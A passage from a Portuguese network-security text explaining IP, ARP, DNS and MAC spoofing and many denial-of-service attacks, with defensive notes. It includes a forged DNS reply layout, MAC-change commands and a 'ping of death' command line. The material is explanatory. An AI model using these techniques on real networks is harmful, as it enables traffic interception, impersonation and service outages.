2. “B” envia um pacote de resposta SYN/ACK para “A”;
3. “A” envia um pacote ACK de resposta a “B”;
Assim numa ligação normal o emissor é continuamente informado do estado da ligação.
Se o atacante falsificar o endereço o processo tem os seguintes passos:
1. O atacante envia um pacote SYN para “B” com o endereço de “A”;
2. “B” envia um pacote de resposta SYN/ACK para “A”;
3. Como o atacante não tem forma de saber se o passo anterior foi executado o
atacante tem de esperar algum tempo antes de enviar um pacote ACK de resposta
para “B” novamente com o endereço de “A”;
Se os passos anteriores forem bem sucedidos o atacante consegue terminar de
estabelecer a ligação com a identidade de “A” e a partir desse instante assume a sua
identidade.
88
Para que a tentativa de assumir a identidade de “A” funcione é necessário que sejam
compridos alguns requisitos:
Durante a tentativa do atacante de assumir a identidade de A este não pode
enviar nenhum pacote para “B”. Isto tem de acontecer uma vez que se durante a
comunicação, nomeadamente quando “B” envia o pacote SYN/ACK para o “A”
este o receber, ele vai enviar um pacote NACK, porque ele não tinha feito
nenhum pedido de ligação. Se “B” receber este pacote (NACK) vai terminar
imediatamente a ligação estabelecida o que vai fazer com que a tentativa do
atacante não seja bem sucedida.
Para que o atacante consiga assumir a identidade de “A” este tem de se
encontrar activo na rede. Este requisito deve-se ao facto de que se o sistema que
se pretende roubar a identidade não se encontrar ligado, o router vai enviar uma
resposta de timed out da tentativa de ligação para “B” e este desliga a ligação.
Para que os dois pontos anteriores se verifiquem o atacante é então obrigado a usar a
identidade de um sistema que tenha uma relação de confiança (autenticação baseada
unicamente no IP) com “B” e tem de encontrar uma forma de impedir que “A” não
responda a “B” através de um ataque de DoS sobre “A”.
Neste ataque, a parte que inclui mais calculo e raciocínio é o de calcular o valor de
sequência (ISN, Initial Sequence Numbers) a colocar nos pacotes IP que se enviam para
“B”.
Para fabricar os pacotes a enviar podem ser usadas ferramentas como, Libnet ou
Pacgen.tar.gz;
9.2 ARP spoofing
O protocolo ARP (Adress Resolution Protocol) é usado para criar um mapa com a
correspondência entre o endereço IP das máquinas e o MAC address (endereço físico da
placa de rede). Supostamente o endereço MAC de uma placa não pode mudar mas o seu
endereço IP pode, por isso o protocolo ARP foi criado para permitir obter a
correspondência entre o endereço IP e o endereço MAC (e vice-versa). O protocolo ARP
funciona por broadcast de pacotes para obter respostas. Cada computador recebe os
pacotes transmitidos e se for endereçado a si aceita o pacote senão descarta-o. O
protocolo ARP tem apenas quatro tipos de mensagens:
89
ARP Request, um computador A perguntar á rede: “de quem é este endereço
IP?”;
ARP Reply, um computador B responde ao computador A, “eu tenho esse IP, o
meu MAC address é XX:XX:XX:XX:XX:XX”;
Reverse ARP Request (RARP), um computador A pergunta á rede: “De quem é
este MAC Address?”;
RARP Reply, um computador B responde ao computador A, “eu tenho esse
MAC, o meu endereço IP é X.X.X.X”;
Todos os dispositivos ligados a rede têm uma tabela de ARP (computadores, switch,
etc.) que consiste num espaço de memória que contem todos os conjuntos endereços IP-
MAC address que o sistema já teve de resolver. O objectivo desta tabela é que o
dispositivo não tenha de enviar um ARP Request sempre que pretende comunicar com
outro dispositivo.
ARP spoofing consiste em alterar a tabela de ARP dos dispositivos para que apareça o
MAC address do atacante na resolução de todos os pares IP-MAC. Esta acção vai fazer
com que toda a informação enviada pelos computadores que tenham a tabela de ARP
alterada envia-o para o computador do atacante e não para o computador legítimo. Isto
ocorre porque o swich trabalha na camada 2 do modelo OSI e por isso encaminha a
informação com base no MAC address de destino. O ARP poisoning é fácil de efectuar
porque as máquinas aceitam pacotes ARP Reply mesmo sem terem feito um ARP
Request pelo que o atacante tem apenas de enviar para as máquinas ligadas na rede um
pacote ARP Reply a dizer que todos os IP’s que estão a ser usados na rede estão
associados ao MAC Address dele.
Um esquema simples que ilustra o que acontece é o seguinte:
Antes do ARP spoofing a informação pode circular como apresentada no esquema
seguinte que ilustra o que acontece numa situação normal. Neste exemplo a máquina
“A” e a máquina “C”estão em comunicação com a máquina “B”:
90
Imagem 47 – esquema de ligações antes de ocorrer ARP Spoofing
A tabela de ARP das máquinas vai ter a seguinte configuração:
Máquina “A”:
192.168.1.101 00:00:00:00:00:02
192.168.1.102 00:00:00:00:00:03
Máquina “B”:
192.168.1.100 00:00:00:00:00:01
192.168.1.102 00:00:00:00:00:03
Máquina “C”:
192.168.1.100 00:00:00:00:00:01
192.168.1.101 00:00:00:00:00:02
Depois do ARP poisoning:
A máquina “A” e máquina “C” estão em comunicação com a máquina “B” mas a
informação passa primeiro pela máquina do atacante.
Imagem 48 - esquema de ligações depois de ocorrer ARP Spoofing
91
A tabela de ARP das máquinas vai ter a seguinte configuração:
Máquina “A”:
192.168.1.101 00:00:00:00:00:04
192.168.1.102 00:00:00:00:00:04
Máquina “B”:
192.168.1.100 00:00:00:00:00:04
192.168.1.102 00:00:00:00:00:04
Máquina “C”:
192.168.1.100 00:00:00:00:00:04
192.168.1.101 00:00:00:00:00:04
Depois disto o atacante apenas tem de por um sniffer a correr no computador para onde
reencaminhou a informação, tem de activar o IP Forwarding para que a informação seja
reencaminhada para o destino correcto e tem de actualizar periodicamente a tabela de
ARP para que os computadores continuem a enviar a informação para o computador do
atacante.
Se o atacante em vez de colocar o seu endereço MAC colocar um endereço que não
pertença a nenhum dispositivo da rede no pacote ARP Reply vai fazer com que a rede
deixe de funcionar porque toda a informação transmitida pelos dispositivos ligados é
perdida.
Se o atacante em vez de alterar a tabela de ARP de todos os dispositivos da rede alterar
apenas dois dispositivos que estejam a comunicar entre si pode interceptar a ligação
para aceder ou alterar os dados (Man-In-The-Middle) uma vez que a informação para
chegar ao destinatário tem de passar pelo computador do atacante.
9.3 DNS Spoofing
O DNS (Domain Name System) é um sistema de gestão de nomes de rede hierárquico e
distribuído que opera segundo duas definições, examinar e actualizar a base de dados
que possui e resolver os nomes de servidores em endereços de rede (endereços IP).
DNS spoofing consiste em alterar valores na tabela de DNS para fazer com que um
nome corresponda a um IP diferente do verdadeiro. Por exemplo se quisermos aceder á
92
página da Microsoft escrevemos no browser “www.microsoft.com” e o browser ao pedir
o endereço IP da página para estabelecer a ligação recebe o IP 207.46.198.30. Mas um
atacante que pretenda fazer encaminhar a ligação para outro IP pode alterar este valor
por exemplo para 198.182.196.56 e quando em vez de ser apresentada a página da
Microsoft a ligação é encaminhada para a página www.linux.org.
Um atacante pode então, assim como é apresentado no exemplo anterior alterar o
endereço IP que está resolvido como pertencente a um nome e fazer com que o nome
passe a reencaminhar a vítima para outro endereço. O endereço para onde a vítima é
reencaminhada pode pertencer a outro sistema, pode não existir ou pode pertencer a um
servidor que o atacante tenha criado para simular o sistema real ao qual a vítima está a
tentar aceder.
Um ataque de DNS spoofing consiste em duas fases:
DNS cache Poisoning;
DNS IP Spoofing;
DNS cache poisoning
Como um servidor DNS não pode guardar na sua tabela todas as resoluções
nome/endereço IP existentes na Internet, apenas guarda as resoluções nome/endereço IP
dos dispositivos que estão no domínio que lhe pertence e contém em cache os registos
das resoluções que recebeu de outros servidores DNS para não ter de estar sempre a
pedir a resolução de um nome. Quando o servidor DNS recebe um pedido para resolver
um nome do qual não tem registo na tabela nem na cache envia um pacote de pedido de
resolução de nome ao servidor DNS que o pode resolver e depois de o receber guarda a
entrada na cache.
Em seguida vamos ver como se processa o “cache poisoning”:
Para começar o processo o atacante tem de criar um servidor DNS (por exemplo
“ns.attacker.net”) com um domínio criado por si (por exemplo “attacker.net”) e tem de
alterar os registos DNS da tabela para os valores que pretende por exemplo, colocar o
registo “www.microsoft.com=198.182.196.56” (é atribuído o IP de “www.linux.org”), o
registo “www.atacker.net=172.50.50.50”, etc.
Depois do atacante criar e colocar o servidor DNS a funcionar envia um pacote de
pedido de resolução de nome para o servidor de DNS da vítima (nos exemplos seguintes
chamado apenas de DNS server) a pedir para resolver o endereço www.attacker.net.
93
Imagem 49 – O atacante faz um pedido de resolução ao servidor DNS da
vítima
Em seguida o servidor DNS da vítima tenta responder ao pedido mas como o nome
pedido não pertence ao seu domínio não o consegue resolver. Em seguida pede ao
servidor de DNS que é capaz para enviar a resolução do nome (como quem é capaz de o
resolver é o servidor DNS do atacante envia o pedido para este).
Imagem 50 – O servidor de DNS da vítima envia um pedido de resolução ao
servidor DNS do atacante para resolver o IP do site do atacante.
O servidor DNS do atacante recebe o pedido e responde ao servidor DNS da vítima e ao
mesmo tempo devolve todos os registos que possui (este processo é denominado de
Zone transfer).
Imagem 51 – O servidor DNS do atacante efectua uma “Zone Transfer” para
o servidor de DNS da vítima.
Depois de efectuar a “Zone Transfer” o servidor DNS da vítima além de obter o
endereço IP do servidor web do atacante obtêm os valores da tabela do servidor DNS
deste o que faz com que este fique com a cache DNS “infectada”, ou seja, com valores
errados. A vítima continua com a cache infectada até que lhe seja feito um update com
valores cuja o emissor não seja o servidor do atacante ou até que sejam limpos os
registos presentes.
94
Imagem 52 – O servidor DNS da vítima pede o site do atacante depois de
consultar a cache e saber qual o valor do IP do site.
Depois do servidor DNS ter a cache infectada se a vítima fizer do seu browser um
pedido para aceder á página da Microsoft será encaminhado para a página
“www.linux.org”. Mas quando um atacante faz um ataque destes não tem como
objectivo algo tão simples. Este tipo de alteração permite ao atacante simular um
serviço, como por exemplo de um banco e reencaminhar o pedido da vítima para a sua
página o que lhe vai permitir roubar os códigos de acesso da vítima. O atacante pode
ainda reencaminhar o pedido da vítima para o seu servidor e em vez de simular o
serviço reencaminhar o pedido depois do seu servidor para o servidor verdadeiro o que
lhe permite obter a informação da vítima sem ter de simular o serviço.
DNS IP Poisoning
Como já foi dito anteriormente quando um dispositivo “A” quer comunicar com um
dispositivo “B” o dispositivo “A” tem de conhecer o endereço IP de “B” para
estabelecer a comunicação. Se o dispositivo “A” apenas souber o nome de “B” é
necessário usar o protocolo DNS para resolver o nome para IP.
Neste caso o pacote DNS request é enviado por “A” para o servidor de DNS para
resolver o nome do dispositivo “B”. O pacote que é enviado contem um identificador
aleatório numérico que tem de existir no pacote de resposta enviado pelo servidor DNS
quando ele responder ao pacote DNS request da máquina e que tem de ser igual ao valor
enviado no pacote DNS request.
Quando o dispositivo “A” receber o pacote de resposta este apenas é aceite se
identificador que se encontrar na resposta for igual ao valor que estava no pacote de
pedido de resolução.
Como o protocolo DNS se baseia no protocolo UDP para efectuar os pedidos este
procedimento não é seguro, porque permite a um atacante enviar um pacote de resposta
com um IP diferente do verdadeiro. Este pacote é aceite se o atacante o enviar com o
identificador numérico igual ao do pedido. Esta tarefa ainda pode ser ainda mais
95
simples para o atacante se este se encontrar dentro da rede onde é feito o pedido, porque
neste caso apenas precisa de correr um sniffer na rede e nesse caso tem acesso ao pacote
com o identificador numérico usado e não precisa sequer de o adivinhar.
Para o atacante ser bem sucedido enfrenta algumas dificuldades como ter de enviar o
pacote DNS de resposta para a máquina “A” com o identificador numérico correcto
antes do servidor DNS, visto que este vai receber o pacote de DNS request e vai
responder a máquina com o endereço IP igual ao endereço IP do emissor (a menos que
de alguma forma o atacante faça com que este não seja capaz de responder, por exemplo
se bloquear a passagem do pacote DNS request no gateway ou fizer um ataque ARP
cache poisoning na rede onde se encontra a máquina “A”).
Imagem 53 – Neste exemplo o atacante usa um sniffer para capturar o ID do
pacote e responde á vítima com um IP falso mas com o ID correcto.
Esta solução é muito mais simples que a anterior para o atacante porque não precisa de
possuir ligado á rede um DNS server para realizar o ataque.
Tentar acertar no valor do ID com a mesma metodologia do paradoxo dos
aniversários
Nos dois casos vistos anteriormente o atacante tem de estar na rede da vítima a correr
um sniffer ou tem de ter a correr um servidor DNS para conseguir realizar um ataque de
DNS spoofing.
Mas o atacante não é obrigado a efectuar o ataque a partir de nenhum dos dois métodos
anteriores. O atacante pode estar fora da rede e tentar adivinhar qual o valor usado no
ID. Ao contrário do que pode parecer não é muito difícil acertar neste valor. Se for
96
usada a mesma metodologia do paradoxo de aniversários vê-se que é muito simples de
acertar no valor do ID.
O paradoxo do aniversário não é um paradoxo verdadeiro mas costuma estar correcto.
Este paradoxo baseia-se em duas perguntas que são:
1 Quantas pessoas tem de estar numa sala para que a probabilidade de pelo menos uma
ter nascido no mesmo dia que tu ser superior a 50%? A resposta é 253 pessoas.
2 Quantas pessoas têm de estar numa sala para que pelo menos duas delas façam anos
no mesmo dia ser superior a 50%? A resposta é 23 pessoas.
Baseando-se neste paradoxo o atacante pode facilmente acertar no valor do ID uma vez
que se mandar mais de 350 pacotes tem mais de 50% de hipóteses de acertar no valor do
ID que está a ser usado e se mandar cerca de 650 a probabilidade de acertar no ID ronda
os 100%.
Assim se o atacante enviar cerca de 650 pacotes a pedir a resolução de um endereço e
enviar cerca de 650 pacotes de resposta com o valor do IP que pretende forjar, a
probabilidade de acertar no ID e o pacote ser aceite pelo servidor é de quase 100%.
Depois de infectar o servidor quando a vítima pedir a resolução de um nome ao servidor
será então reencaminhada para o IP que foi escolhido pelo atacante.
Imagem 54 – DNS spoofing baseado no paradoxo do aniversário
No exemplo vê-se que o atacante infecta a cache do servidor DNS alterando o endereço IP
que corresponde ao nome www.microsoft.com.
O atacante para fabricar os pacotes para a porta correcta precisa descobrir qual é a porta
que a vítima usa para receber os pacotes de pedidos de resolução de nomes. O valor da
porta pode ser descoberto por exemplo, pelo pedido de um DNS lookup de uma máquina
no domínio do servidor DNS.
Os pacotes de resposta falsificados que o atacante tem de mandar para o servidor DNS
têm de ter a estrutura representada a baixo.
97
9.4 MAC Spoofing
Cada placa de rede tem um endereço físico que é registado em fábrica e que não pode
ser alterado definitivamente. Este endereço apesar de ser físico quando é pedido por
alguma aplicação é dado pelo sistema operativo, o que permite a um atacante falsifica-
lo caso tenha necessidade, porque apenas tem de fornecer o endereço que pretende usar
ao sistema operativo. Se o atacante pretender atacar um dispositivo e sabe que este tem
uma relação de confiança com outro em que a autenticação é baseada unicamente no
endereço MAC, pode alterar o seu endereço para o endereço desse sistema e consegue
autenticar-se assumindo a identidade do dispositivo com o qual a vítima tinha a relação
de confiança.
Em seguida são apresentados exemplos (retirados da Wikipedia) do procedimento
necessário para alterar o endereço MAC das placas de rede nos vários sistemas
operativos.
No sistema operativo Linux (no sistema operativo Linux é necessario ter previlégios de
Root para conseguir efectuar o procedimento):
Ou pode-se usar a ferramenta “MACChanger” para alterar o valor do MAC Adress.
No sistema operativo Windows o endereço MAC pode ser alterado das seguintes formas:
ifconfig eth0 down
ifconfig eth0 hw ether 02:01:02:03:04:08
ifconfig eth0 up
Source address : ns.microsoft.com
Destination address : ns.vitima.com
Source port : 53
Destination port : 1256 (porta que o servidor DNS está a usar)
Data : O IP de www.microsoft.com é 198.182.196.5
98
Nas propriedades avançadas da placa de rede;
Através do registo do Windows (por exemplo com a linha:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E
972-E325-11CE-BFC1-08002BE10318}.)
Com uma ferramenta que altere o MAC adress como SMAC, Hide my MAC
Adress, etc.
Imagem 55 – Programa SMAC versão 2.0.
10 Negação de serviço (DOS)
Os ataques de negação de serviço (DoS) aproveitam-se de falhas presentes em
aplicações e no protocolo TCP/IP. Actualmente a maioria dos sistemas encontram-se
desprotegidos apenas contra os ataques de negação distribuídos (DDoS).
Um ataque de DoS é um ataque que faz com que um sistema seja impossibilitado de
fornecer um serviço.
99
Um ataque destes pode impossibilitar a utilização de uma rede privada, de um serviço,
ou todos os serviços que uma organização fornece.
A maioria dos ataques acontecem devido a tratamento errado ou falta de validação dos
pacotes TCP/IP.
Um ataque de DoS geralmente é efectuado do seguinte modo:
1. O atacante usa uma ferramenta para criar pacotes de dados defeituosos numa
quantidade infinita e envia estes dados;
2. A máquina da vítima recebe os dados e não consegue trata-los por isso bloqueia
ou reinicia porque, não consegue validar os dados. Isto acontece porque a
máquina vítima apenas espera dados que venham de acordo com o protocolo
TCP/IP e não verifica se os dados recebidos estão realmente de acordo com
este.
Algumas anomalias indicam que está a ocorrer um ataque de DoS, tais como:
- Excesso de tráfego: A largura de banda utilizada atinge o máximo. É ultrapassado o
número de acessos esperados.
- A existência de pacotes UDP e ICMP de tamanho acima do normal ou em excesso:
Geralmente as sessões UDP utilizam pacotes pequenos dificilmente superiores que 10
bytes (payload). As mensagens ICMP não excedem a faixa entre 64 e 128 bytes. Pacotes
cujo tamanho seja superior a esses números são considerados suspeitos. Pacotes TCP e
UDP que não fazem parte de uma conexão: Alguns tipos de DoS utilizam
aleatoriamente vários protocolos (incluindo protocolos orientados a ligação) para enviar
dados sobre canais não orientados à conexão. Isto pode ser detectado utilizando
firewall’s que mantenham o estado das conexões (statefull firewall’s). Outro ponto
importante é que estes pacotes costumam destinar-se a portas acima da 1024.
Um ataque de DoS tem como resultado:
- Consumo de elementos críticos do sistema, entre eles a largura de banda, routers e
sistemas computacionais;
- Faz com que utilizadores legítimos não sejam capazes de aceder aos recursos
pretendidos;
- Os utilizadores que se encontram ligados são desligados ou a sua ligação torna-se
demasiado lenta;
- A imagem pública da organização é denegrida;
- Leva a perda de lucros, directa ou indirectamente devido á perda de clientes ou de
negócios e de fazer com que o sistema fique bloqueado até o ataque ser solucionado;
100
- Pode levar a perda de dados, tempo, recursos e faz com que os clientes fiquem
insatisfeitos com o serviço;
10.1 Tipos de ataques de negação de serviço
10.1.1 Consumo de largura de banda
Os ataques de consumo de largura de banda consistem em conseguir bloquear a
comunicação de um computador ou de uma rede pelo consumo da largura de banda
disponível. Não interessa qual é o tamanho da largura de banda disponível porque
existem sempre um limite que é possível atingir para impedir o funcionamento normal
da rede.
Existe alguns ataques baseados no consumo da largura de banda como:
Smurf, este ataque usa Protocolo ICMP. Este protocolo é utilizado para
determinar se um sistema se encontra ou não ligado à rede, para isso envia um
pacote ICMP Echo Request a um sistema e este envia como resposta um ICMP
Echo Reply se estiver ligado à rede. Quando se efectua um ataque é enviado um
número infinito de ICMP Echo Request para o endereço de Broadcast da rede.
Em muitos casos o atacante encontra-se no exterior da rede mas altera o
cabeçalho dos pacotes para parecer que este foi enviado por uma máquina
pertencente à rede interna. De um ataque destes pode resultar negação de serviço
porque os pacotes recebidos no endereço de Broadcast são transmitidos para
todo o sistema e todo o sistema vai responder ao pacote recebido, como
resultado a rede vai ficar cada vez mais lenta podendo mesmo deixar de
funcionar. Para defender um sistema deste tipo de ataques o administrador pode
definir filtros de protecção nos routers e firewall’s bloqueando o trafico de
pacotes ICMP ou apenas definindo regras para que o sistema não permita
receber do exterior pacotes para o endereço de broadcast. O administrador pode
ainda configurar o sistema para apenas descartar os pacotes ICMP que sejam
enviados para o endereço de broadcast.
Fraggle, este ataque é semelhante ao anterior mas em vez de serem enviados
pacotes ICMP são enviados pacotes UDP para o endereço de broadcast. Todos
os sistemas que se encontrem ligado na rede vão responder para o endereço falso
101
do pacote que foi enviado. Se os sistemas tiverem o serviço ECHO activo vão
responder para a vítima correctamente mas caso não tenham este serviço activo
é enviado á vítima um pacote ICMP de erro, que faz com que seja gerado
tráfego na mesma e que leva sempre ao consumo da largura de banda.
Chargen, este ataque ocorre em sistemas Linux e Unix que tenham a porta Echo
(porta 7) e porta Chargen (porta 19) abertas. A porta “echo” envia tudo o que
esteja no buffer dela e a porta “Chargen” gera um conjunto de caracteres ASCII
o mais rápido que conseguir continuamente. Estas duas portas podem ser usadas
por um atacante para consumo de largura de banda se um atacante ligar a porta
“echo” de um computador á porta “chargen” de outro computador porque esta
ligação vai gerar uma grande quantidade de tráfego.
Ping Flood, no Ping Flood o atacante sobrecarrega o sistema vítima com
pacotes ICMP Echo Request (PING). Este ataque apenas é bem sucedido se o
atacante possui mais largura de banda que a vítima. Como a vítima vai tentar
responder aos pedidos vai consumir a sua largura de banda impossibilitando-a de
responder a pedidos de outros utilizadores.
A única maneira de proteger deste tipo de ataque é limitando o tráfego de ICMP
Echo Request na sua totalidade ou apenas limitando o tráfego de pacotes de
ICMP Echo Request com um tamanho elevado.
-a baixo encontra-se um de sistemas que podem ser vítimas de Ping Flood por
permitirem pacotes Ping de tamanho elevado:
Imagem 56 – Exemplo de um ping com 35 000 bytes de tamanho
UDP Flooding, neste ataque é usado o protocolo UDP (User Datagram
Protocol). O UDP flooding consiste no atacante enviar uma grande quantidade
de pacotes UDP para uma porta que não está a ser usada do sistema da vítima.
Quando o sistema atacado recebe os pacotes vai tentar ver qual é a aplicação que
102
está a funcionar na porta para a qual o pacote foi enviada e este vai ter de
responder com um pacote ICMP Destination Unreachable para indicar que não
está nenhuma aplicação a funcionar na porta. Se os pacotes chegarem a uma
velocidade muito superior á velocidade de processamento da vítima este acaba
por ficar sem recursos para processar os pacotes e acaba por bloquear ou
reiniciar.
Neste ataque o atacante terá de falsificar o seu IP para não receber os pacotes
ICMP de resposta e para não ser apanhado. O atacante pode ainda em vez de
escolher um IP de origem aleatório, escolher o IP de outro sistema o que pode
fazer com que os dois sistemas fiquem bloqueados ou reiniciem devido à
quantidade de tráfico trocado entre os dois.
10.1.2 Falta de recursos (Resource starvation)
Um ataque de negação de serviço por falta de recursos é feito através do envio de
tráfego para um determinado serviço ou computador. O objectivo deste tipo de ataques
é fazer com que um determinado serviço fique indisponível ou que um computador
fique indisponível, bloqueie ou reinicie.
Alguns dos ataques que se destinam a provocar a falta de recursos são:
SYN Flooding, este é o tipo de ataque de DoS mais comum e perigoso. Este
ataque não é baseado em nenhuma falha no protocolo TCP/IP, mas sim na
exploração da maneira como é estabelecida uma ligação TCP. Uma ligação TCP
para ser estabelecida tem os seguintes 3 passos:
Passo 1: O cliente requisita uma conexão enviando um SYN (synchronization
Package) ao destinatário.
Passo 2: O destinatário confirma este pedido mandando um SYN-ACK de volta
ao cliente.
Passo 3: O cliente por sua vez responde com um ACK, e a conexão fica
estabelecida.
Isto é o chamado aperto de mão em três etapas (Three-Way Handshake).
Este ataque consiste então em não enviar a ultima mensagem de ACK o que vai
obrigar o sistema atacado a ficar a espera durante o timeout definido. Um dos
problemas prendesse então com a definição do tempo de espera, uma vez que
não pode ser demasiado pequeno porque o atraso da resposta do sistema para
103
finalizar o estabelecimento da comunicação pode derivar de um
congestionamento da rede. Se o sistema atacado ficar então com todos os seus
recursos ocupados e não poder iniciar o estabelecimento de mais nenhuma
ligação passa a negar o serviço que estava a fornecer.
Para que este ataque seja bem sucedido é necessário que o atacante consiga
enviar pedidos de ligação a um ritmo muito maior do que o ritmo a que a
máquina a ser atacada consegue cancelar uma ligação inválida, porque sempre
que a máquina atacada cancela uma ligação invalida os recursos consumidos por
esta ligação são libertados.
Duas das medidas que podem ser tomadas para evitar esta situação é utilizar
SYN cookies ou diminuir o tempo de espera por uma resposta. Pode-se optar
ainda por limitar o número de conexões, sendo que esta opção pode resultar em
deixar clientes legítimos a espera para obter uma ligação.
Este ataque é fácil de detectar recorrendo por exemplo a ferramentas como o
netstat, porque se um sistema estiver a ser atacado ele vai apresentar uma
elevada quantidade de ligações no estado SYN_RECEIVED.
CPU Hog, este tipo de negação de serviço consiste em explorar a maneira como
o sistema operativo Windows executa os processos. Este programa define a sua
prioridade para o valor máximo, que em sistemas Windows tem o valor de 16.
Depois de fazer isto as restantes aplicações que se encontrem a correr não
conseguem adquirir controlo do processador porque a prioridade máxima a que
o Windows as coloca é de 15, o que faz com que fiquem a espera do processador
para poderem continuar a sua execução.
10.1.3 Falhas na programação
A negação de serviços pode ocorrer quando é explorada uma falha grave no código de
uma aplicação, quando é enviada uma grande quantidade de informação que a aplicação
não consegue tratar ou quando não é comprido o protocolo da aplicação. Qualquer um
destes problemas pode fazer com que o computador onde a aplicação está a ser
executada bloqueie, reinicie ou desligue.
Alguns dos ataques que se destinam a explorar falhas na programação são:
Ping Of Death, é um dos tipos de ataque de DoS mais antigos.
104
Este ataque afectava uma grande variedade de sistemas entre eles, sistemas
Unix, Linux, Mac, Windows, impressoras e routers. O problema explorado por
este ataque encontra-se praticamente resolvido desde 1998.
Este ataque é baseado no facto de no protocolo TCP/IP o tamanho dos pacotes
de dados enviados não ser verificado. Segundo o protocolo TCP/IP o tamanho
máximo de um pacote tem de ser de 65.536 octetos (RFC-791) pelo que se um
sistema recebe um pacote com um tamanho superior não o consegue tratar e
assim bloqueia ou reinicia.
Neste ataque é criado um pacote com o tamanho superior a 65.536 octetos e este
é enviado para a máquina a atacar. A máquina vítima recebe o pacote e bloqueia,
reinicia ou desliga.
O nome “Ping Of Death” surgiu do facto de este ataque ser geralmente
efectuado a partir da ferramenta “ping” que se encontra embutida em quase
todos dos sistemas Windows e Linux.
Como esta é uma ferramenta existente em quase todos os sistemas um atacante
podia atacar um sistema sem ter de utilizar uma ferramenta criada por si. A
ferramenta “ping” é usada geralmente para verificar se um computador se
encontra ligado ou não á rede. Esta baseia-se no protocolo ICMP (Internet
Control Message Protocol), usa este para enviar uma mensagem “Echo Request”
à máquina e esta responde com uma mensagem “Echo Reply” se estiver ligada.
Esta ferramenta pode ser usada para atacar um sistema quando é utilizada com o
parâmetro “-l” (length) e este parâmetro é definido com uma tamanho superior
ao que é permitido para um pacote. Por defeito os pacotes enviados tem o
tamanho de 4 octetos mas podem então ser definidos para ter um tamanho
superior a 65 536 bits o que faz com que o sistema atacado reinicie ou bloqueie
assim que começar a receber os pacotes com o tamanho superior ao tamanho que
ele consegue suportar. Para isso podemos chamar o comando ping da seguinte
maneira: “ping –l 65 555 X.X.X.X”.
Teardrop, este ataque explora uma falha no protocolo TCP/IP que tem a ver
com a montagem dos pacotes recebidos e que pode fazer com que o sistema
atacado bloqueie ou reinicie.
Este ataque atinge sobretudo sistemas operativos Windows 3.1x, Windows 95 e
Windows NT, assim como as versões de Linux anteriores há 2.0.32.
105
Numa comunicação TCP/IP normal os dados para serem enviados são divididos
em pacotes mais pequenos no sistema de origem e são juntos no sistema de
destino depois de terem chegado todos os pacotes. Quando os pacotes são
montados para formar os dados que foram enviados pode ocorrer uma falha que
consiste no facto de os intervalos dos vários pacotes não baterem certo e o
sistema não conseguir montar os dados.
Por exemplo se quisermos enviar um conjunto de 4 000 bytes de dados para um
sistema, este dados serão divididos em pacotes mais pequenos com um intervalo
definido e são esses pacotes mais pequenos que vão ser enviados para o sistema
destino. Por exemplo este conjunto de dados pode ser dividido do seguinte
modo:
Parte 1: dados de 1 até 1 000 bytes
Parte 2: dados de 1 001 até 2 000 bytes
Parte 3: dados de 2 001 até 3 000 bytes
Parte 4: dados de 3 001 até 4000 bytes
Para cada pedaço de dados é definido o intervalo que deve transportar, intervalo
este que está definido no campo OFFSET do cabeçalho de um pacote TCP. Os
dados são montados novamente tendo em conta a ordem em que são enviados e
o valor do seu OFFSET.
A execução do ataque Teardrop baseia-se no facto de não ser feita qualquer
validação do valor do OFFSET dos pacotes transmitidos o que permite que
sejam alterados os valores deste dando assim valores que se sobreponham uns
aos outros, o que vai fazer com que o sistema atacado não consiga montar os
pacotes e acabe por bloquear ou reiniciar.
Por exemplo, se o conjunto de dados anterior for enviado do modo apresentado a
seguir o sistema não vai conseguir montar os pacotes novamente, porque a
indicação do início do pacote seguinte está adulterada:
Parte 1: dados de 1 até 1 000 bytes
Parte 2: dados de 1 000 até 2 000 bytes
Parte 3: dados de 2 000 até 3 000 bytes
Parte 4: dados de 3 000 até 4000 bytes
Existem mais programas que exploram esta vulnerabilidade como bonk, boink e
nestea.
106
Land, este ataque é muito semelhante ao ataque de SYN Flooding. Este ataque
baseia numa falha que existe em algumas implementações do protocolo TCP/IP,
que consiste em certos sistemas não serem capazes de tratar pacotes que
recebam que tenham o mesmo endereço e porta de origem e destino. Caso um
sistema vulnerável a esta falha receba um pacote com o mesmo endereço e porta
de origem e destino o sistema atingido vai falhar porque não vai ser capaz de
processar os pacotes e vai fazer com que o processador fique a trabalhar ao
máximo para tentar processa-los.
Este tipo de ataque é facilmente combatido definindo regras de filtragem de
pacotes no router ou firewall, nomeadamente bloqueando á entrada destes todo
o tráfego que tenho como endereço de origem um endereço interno e
bloqueando a saída todo o tráfego que tenha como endereço de origem um
endereço exterior, sendo que assim se previne ser atacado do exterior ou que o
sistema interno seja usado para efectuar um ataque ao exterior.
Apesar deste ataque ser muito antigo é capaz de afectar sistema com o Windows
2003 ou Windows XP com SP2 se estes tiverem a firewall desligada.
Latierra é outra aplicação que explora a mesma falha.
SMBdie, este ataque é dirigido ao servidor SMB (Server Message Block) dos
sistemas Microsoft. Este tipo de DoS cria um pacote de Request defeituoso que
envia para a porta 139 ou 445. A máquina que corre o serviço vai passar a negar
o acesso a todos os utilizadores porque não vai conseguir tratar o pacote que
recebeu.
10.1.4 Ataques de DOS distribuídos
107
Imagem 57 – Representação de um ataque DDoS
Este tipo de ataque é mais perigoso do que os ataques de negação de serviço falados
anteriormente e é muito mais difícil de proteger um sistema contra um ataque de
negação de serviço distribuído.
Uma das grandes diferenças entre um ataque de negação de serviço normal e um ataque
de negação de serviço distribuído é que no primeiro a relação entre o numero de
atacantes e atacados é de 1:1 e no segundo é de Muitos: 1.
Num ataque típico de negação de serviço o atacante começa por infectar um elevado
numero de computadores de uma rede insegura que ele encontre, actualmente a maioria
dos atacantes infectam utilizadores domésticos porque estes na sua maioria utilizam
banda larga para aceder a Internet e não possuem mecanismos de protecção instalados.
Por fim o atacante liga-se a todas as máquinas infectadas para enviar instruções para
realizar um ataque contra o sistema que se pretende mandar abaixo.
Os sistemas infectados com as ferramentas para efectuar o ataque são designados de
Zombies e os sistemas que controlam estes (enviam ordem aos Zombies) são chamados
de Mestres. Os sistemas mestre também são computadores que estão infectados por uma
108
ferramenta, mas estes tem a capacidade de enviar informação aos Zombies e de receber
ordem do computador do atacante.
Este tipo de hierarquia permite ao atacante esconder a sua identidade e controlar uma
quantidade muito elevada de sistemas para usar para levar a cabo um ataque.
Para este tipo de ataque são usadas ferramentas como:
1 - Tribal Flood Network (TFN) e TFN2K:
Esta ferramenta permite efectuar ataques de negação de serviço baseado em ataques de
TCP, SYN ou UDP descritos anteriormente.
Esta ferramenta é baseada em dois programas:
Programa cliente TFN;
